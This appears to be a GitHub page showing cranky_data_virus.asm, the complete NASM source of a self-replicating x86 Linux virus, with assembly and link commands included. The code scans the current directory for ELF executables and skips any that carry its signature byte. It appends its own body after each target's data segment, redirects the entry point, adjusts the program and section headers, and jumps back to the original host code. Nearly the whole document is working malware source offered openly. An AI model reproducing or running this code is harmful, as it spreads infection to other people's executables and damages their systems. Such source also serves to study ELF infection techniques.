-
Notifications
You must be signed in to change notification settings - Fork 28
/
cranky_data_virus.asm
344 lines (285 loc) · 13.6 KB
/
cranky_data_virus.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
;; nasm -f elf -F dwarf -g cranky_data_virus.asm
;; ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o
section .text
global v_start
v_start:
; virus body start
; make space in the stack for some uninitialized variables to avoid a .bss section
mov ecx, 2328 ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)
loop_bss:
push 0x00 ; reserve 4 bytes (double word) of 0's
sub ecx, 1 ; decrement our counter by 1
cmp ecx, 0
jbe loop_bss
mov edi, esp ; esp has our fake .bss offset. Let's store it in edi for now.
call folder
db ".", 0
folder:
pop ebx ; name of the folder
mov esi, 0 ; reset offset for targets
mov eax, 5 ; sys_open
mov ecx, 0
mov edx, 0
int 80h
cmp eax, 0 ; check if fd in eax > 0 (ok)
jbe v_stop ; cannot open file. Exit virus
mov ebx, eax
mov eax, 0xdc ; sys_getdents64
mov ecx, edi ; fake .bss section
add ecx, 32 ; offset for buffer
mov edx, 1024
int 80h
mov eax, 6 ; close
int 80h
xor ebx, ebx ; zero out ebx as we will use it as the buffer offset
find_filename_start:
; look for the sequence 0008 which occurs before the start of a filename
inc ebx
cmp ebx, 1024
jge infect
cmp byte [edi+32+ebx], 0x00 ; edi+32 is buffer
jnz find_filename_start
inc ebx
cmp byte [edi+32+ebx], 0x08 ; edi+32 is buffer
jnz find_filename_start
xor ecx, ecx ; clear out ecx which will be our offset for file
mov byte [edi+ecx], 0x2e ; prepend file with ./ for full path (.) edi is filename
inc ecx
mov byte [edi+ecx], 0x2f ; prepend file with ./ for full path (/) edi is filename
inc ecx
find_filename_end:
; look for the 00 which denotes the end of a filename
inc ebx
cmp ebx, 1024
jge infect
push esi ; save our target offset
mov esi, edi ; fake .bss
add esi, 32 ; offset for buffer
add esi, ebx ; set source
push edi ; save our fake .bss
add edi, ecx ; set destination to filename
movsb ; moved byte from buffer to filename
pop edi ; restore our fake .bss
pop esi ; restore our target offset
inc ecx ; increment offset stored in ecx
cmp byte [edi+32+ebx], 0x00 ; denotes end of the filename
jnz find_filename_end
mov byte [edi+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer
push ebx ; save our offset in buffer
call scan_file
pop ebx ; restore our offset in buffer
jmp find_filename_start ; find next file
scan_file:
; check the file for infectability
mov eax, 5 ; sys_open
mov ebx, edi ; path (offset to filename)
mov ecx, 0 ; O_RDONLY
int 80h
cmp eax, 0 ; check if fd in eax > 0 (ok)
jbe return ; cannot open file. Return
mov ebx, eax ; fd
mov eax, 3 ; sys_read
mov ecx, edi ; address struct
add ecx, 2080 ; offset to targetfile in fake .bss
mov edx, 12 ; all we need are 4 bytes to check for the ELF header but 12 bytes to find signature
int 80h
call elfheader
dd 0x464c457f ; 0x7f454c46 -> .ELF (but reversed for endianness)
elfheader:
pop ecx
mov ecx, dword [ecx]
cmp dword [edi+2080], ecx ; this 4 byte header indicates ELF! (dword). edi+2080 is offset to targetfile in fake .bss
jnz close_file ; not an executable ELF binary. Return
; check if infected
mov ecx, 0x001edd0e ; 0x0edd1e00 signature reversed for endianness
cmp dword [edi+2080+8], ecx ; signature should show up after the 8th byte. edi+2080 is offset to targetfile in fake .bss
jz close_file ; signature exists. Already infected. Close file.
save_target:
; good target! save filename
push esi ; save our targets offset
push edi ; save our fake .bss
mov ecx, edi ; temporarily place filename offset in ecx
add edi, 1056 ; offset to targets in fake .bss
add edi, esi
mov esi, ecx ; filename -> edi -> ecx -> esi
mov ecx, 32
rep movsb ; save another target filename in targets
pop edi ; restore our fake .bss
pop esi ; restore our targets offset
add esi, 32
close_file:
mov eax, 6
int 80h
return:
ret
infect:
; let's infect these targets!
cmp esi, 0
jbe v_stop ; there are no targets :( exit
sub esi, 32
mov eax, 5 ; sys_open
mov ebx, edi ; path
add ebx, 1056 ; offset to targets in fake .bss
add ebx, esi ; offset of next filename
mov ecx, 2 ; O_RDWR
int 80h
mov ebx, eax ; fd
mov ecx, edi
add ecx, 2080 ; offset to targetfile in fake .bss
reading_loop:
mov eax, 3 ; sys_read
mov edx, 1 ; read 1 byte at a time (yeah, I know this can be optimized)
int 80h
cmp eax, 0 ; if this is 0, we've hit EOF
je reading_eof
mov eax, edi
add eax, 9312 ; 2080 + 7232
cmp ecx, eax ; if the file is over 7232 bytes, let's quit
jge infect
add ecx, 1
jmp reading_loop
reading_eof:
push ecx ; store address of last byte read. We'll need this later
mov eax, 6 ; close file
int 80h
xor ecx, ecx
xor eax, eax
mov cx, word [edi+2080+44] ; ehdr->phnum (number of program header entries)
mov eax, dword [edi+2080+28] ; ehdr->phoff (program header offset)
sub ax, word [edi+2080+42] ; subtract 32 (size of program header entry) to initialize loop
program_header_loop:
; loop through program headers and find the data segment (PT_LOAD, offset>0)
;0 p_type type of segment
;+4 p_offset offset in file where to start the segment at
;+8 p_vaddr his virtual address in memory
;+c p_addr physical address (if relevant, else equ to p_vaddr)
;+10 p_filesz size of datas read from offset
;+14 p_memsz size of the segment in memory
;+18 p_flags segment flags (rwx perms)
;+1c p_align alignement
add ax, word [edi+2080+42]
cmp ecx, 0
jbe infect ; couldn't find data segment. let's close and look for next target
sub ecx, 1 ; decrement our counter by 1
mov ebx, dword [edi+2080+eax] ; phdr->type (type of segment)
cmp ebx, 0x01 ; 0: PT_NULL, 1: PT_LOAD, ...
jne program_header_loop ; it's not PT_LOAD. look for next program header
mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header)
cmp ebx, 0x00 ; if it's 0, it's the text segment. Otherwise, we found the data segment
je program_header_loop ; it's the text segment. We're interested in the data segment
mov ebx, dword [edi+2080+24] ; old entry point
push ebx ; save the old entry point
mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header)
mov edx, dword [edi+2080+eax+16] ; phdr->filesz (size of segment on disk)
add ebx, edx ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz
push ebx ; save the offset of our virus
mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr (virtual address in memory)
add ebx, edx ; new entry point = phdr[data]->vaddr + p[data]->filesz
mov ecx, 0x001edd0e ; insert our signature at byte 8 (unused section of the ELF header)
mov [edi+2080+8], ecx
mov [edi+2080+24], ebx ; overwrite the old entry point with the virus (in buffer)
add edx, v_stop - v_start ; add size of our virus to phdr->filesz
add edx, 7 ; for the jmp to original entry point
mov [edi+2080+eax+16], edx ; overwrite the old phdr->filesz with the new one (in buffer)
mov ebx, dword [edi+2080+eax+20] ; phdr->memsz (size of segment in memory)
add ebx, v_stop - v_start ; add size of our virus to phdr->memsz
add ebx, 7 ; for the jmp to original entry point
mov [edi+2080+eax+20], ebx ; overwrite the old phdr->memsz with the new one (in buffer)
xor ecx, ecx
xor eax, eax
mov cx, word [edi+2080+48] ; ehdr->shnum (number of section header entries)
mov eax, dword [edi+2080+32] ; ehdr->shoff (section header offset)
sub ax, word [edi+2080+46] ; subtract 40 (size of section header entry) to initialize loop
section_header_loop:
; loop through section headers and find the .bss section (NOBITS)
;0 sh_name contains a pointer to the name string section giving the
;+4 sh_type give the section type [name of this section
;+8 sh_flags some other flags ...
;+c sh_addr virtual addr of the section while running
;+10 sh_offset offset of the section in the file
;+14 sh_size zara white phone numba
;+18 sh_link his use depends on the section type
;+1c sh_info depends on the section type
;+20 sh_addralign alignement
;+24 sh_entsize used when section contains fixed size entrys
add ax, word [edi+2080+46]
cmp ecx, 0
jbe finish_infection ; couldn't find .bss section. Nothing to worry about. Finish the infection
sub ecx, 1 ; decrement our counter by 1
mov ebx, dword [edi+2080+eax+4] ; shdr->type (type of section)
cmp ebx, 0x00000008 ; 0x08 is NOBITS which is an indicator of a .bss section
jne section_header_loop ; it's not the .bss section
mov ebx, dword [edi+2080+eax+12] ; shdr->addr (virtual address in memory)
add ebx, v_stop - v_start ; add size of our virus to shdr->addr
add ebx, 7 ; for the jmp to original entry point
mov [edi+2080+eax+12], ebx ; overwrite the old shdr->addr with the new one (in buffer)
section_header_loop_2:
mov edx, dword [edi+2080+eax+16] ; shdr->offset (offset of section)
add edx, v_stop - v_start ; add size of our virus to shdr->offset
add edx, 7 ; for the jmp to original entry point
mov [edi+2080+eax+16], edx ; overwrite the old shdr->offset with the new one (in buffer)
add eax, 40
sub ecx, 1
cmp ecx, 0
jg section_header_loop_2 ; this loop isn't necessary to make the virus function, but inspecting the host file with a readelf -a shows a clobbered symbol table and section/segment mapping
finish_infection:
;dword [edi+2080+24] ; ehdr->entry (virtual address of entry point)
;dword [edi+2080+28] ; ehdr->phoff (program header offset)
;dword [edi+2080+32] ; ehdr->shoff (section header offset)
;word [edi+2080+40] ; ehdr->ehsize (size of elf header)
;word [edi+2080+42] ; ehdr->phentsize (size of one program header entry)
;word [edi+2080+44] ; ehdr->phnum (number of program header entries)
;word [edi+2080+46] ; ehdr->shentsize (size of one section header entry)
;word [edi+2080+48] ; ehdr->shnum (number of program header entries)
mov eax, v_stop - v_start ; size of our virus minus the jump to original entry point
add eax, 7 ; for the jmp to original entry point
mov ebx, dword [edi+2080+32] ; the original section header offset
add eax, ebx ; add the original section header offset
mov [edi+2080+32], eax ; overwrite the old section header offset with the new one (in buffer)
mov eax, 5 ; sys_open
mov ebx, edi ; path
add ebx, 1056 ; offset to targets in fake .bss
add ebx, esi ; offset of next filename
mov ecx, 2 ; O_RDWR
int 80h
mov ebx, eax ; fd
mov eax, 4 ; sys_write
mov ecx, edi
add ecx, 2080 ; offset to targetfile in fake .bss
pop edx ; host file up to the offset where the virus resides
int 80h
mov [edi+7], edx ; place the offset of the virus in this unused section of the filename buffer
call delta_offset
delta_offset:
pop ebp ; we need to calculate our delta offset because the absolute address of v_start will differ in different host files. This will be 0 in our original virus
sub ebp, delta_offset
mov eax, 4
lea ecx, [ebp + v_start] ; attach the virus portion (calculated with the delta offset)
mov edx, v_stop - v_start ; size of virus bytes
int 80h
pop edx ; original entry point of host (we'll store this double word in the same location we used for the 32 byte filename)
mov [edi], byte 0xb8 ; op code for MOV EAX (1 byte)
mov [edi+1], edx ; original entry point (4 bytes)
mov [edi+5], word 0xe0ff ; op code for JMP EAX (2 bytes)
mov eax, 4
mov ecx, edi ; offset to filename in fake .bss
mov edx, 7 ; 7 bytes for the final jmp to the original entry point
int 80h
mov eax, 4 ; sys_write
mov ecx, edi
add ecx, 2080 ; offset to targetfile in fake .bss
mov edx, dword [edi+7] ; offset of the virus
add ecx, edx ; let's continue where we left off
pop edx ; offset of last byte in targetfile in fake.bss
sub edx, ecx ; length of bytes to write
int 80h
mov eax, 36 ; sys_sync
int 80h
mov eax, 6 ; close file
int 80h
jmp infect
v_stop:
; virus body stop (host program start)
mov eax, 1 ; sys_exit
mov ebx, 0 ; normal status
int 80h